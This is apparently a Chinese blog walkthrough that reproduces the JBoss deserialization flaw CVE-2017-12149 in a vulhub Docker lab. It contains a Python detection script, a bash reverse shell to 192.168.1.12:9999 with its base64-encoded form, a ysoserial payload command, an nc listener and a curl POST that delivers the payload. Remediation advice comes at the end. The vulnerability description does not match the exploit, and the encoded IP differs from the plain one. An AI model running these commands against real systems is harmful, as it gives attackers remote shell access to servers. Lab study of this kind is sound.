JBoss-5.x6.x-反序列化(CVE-2017-12149)

漏洞描述

由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。

kali 环境配置

安装https协议、CA证书、dirmngr

apt-get update

apt-get install -y apt-transport-https ca-certificates

apt-get install dirmngr

添加GPG密钥并添加更新源

curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list

系统更新以及安装docker

apt-get update&&apt install docker-ce

启动docker服务器 和compose

service docker start || apt install docker-compose

下载安装vulhub

git clone https://github.com/vulhub/vulhub.git

漏洞复现

启动环境/vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

初始化完成后 访问 ip:端口号

在这里插入图片描述

使用python脚本进行漏洞检测

python cve-2017-12149_poc.py http://192.168.1.129:8080/
poc:
import requests
import sys

if len(sys.argv)!=2:
    print('+---------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub          +')
    print('+---------------------------------------------------------------+')
    print('+ USE: python <filename> <url>                                  +')
    print('+ EXP: python cve-2017-12149_poc.py http://freeerror.org:8080   +')
    print('+ VER: Jboss AS 5.X                                             +')
    print('+      Jboss AS 6.X                                             +')
    print('+---------------------------------------------------------------+')
    sys.exit()
url = sys.argv[1]

vulurl = url+"/invoker/readonly"

headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0",
'Accept': "*/*",
'Content-Type': "application/json",
'X-Requested-With': "XMLHttpRequest",
'Connection': "close",
'Cache-Control': "no-cache"
}


try:
    r =requests.post(vulurl, headers=headers, verify=False)
    e=r.status_code
except:
    print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
    sys.exit()
if e == 500:
    print ("[+] Target "+url+" Find CVE-2017-12149  EXP:https://github.com/zhzyker/exphub")
else: 
    print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
    exit()

在这里插入图片描述

设置接收shell的ip和端口

bash -i >& /dev/tcp/192.168.1.12/9999 0>&1
base64加密  YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzk5OTkgMD4mMQ==
编译 bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzk5OTkgMD4mMQ==}{base64,-d}|{bash,-i}

使用ysoserial生成序列化数据,并重定向到poc.ser文件 (ysoserial.jar需要下载)

java -jar ysoserial.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzk5OTkgMD4mMQ==}{base64,-d}|{bash,-i}" > poc.ser

在这里插入图片描述

开启nc监听

nc -lvvp 9999

通过二进制POST方式发送攻击载荷到 /invoker/readonly

curl http://192.168.1.129:8080/invoker/readonly --data-binary @poc.ser

反弹shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MnUFbfUc-1664681180763)(C:/img/JBoss反序列化/4.png)]

修复方案

  1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
  2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
 <url-pattern>/*</url-pattern>

删除此组件。
2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:

 <url-pattern>/*</url-pattern>
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值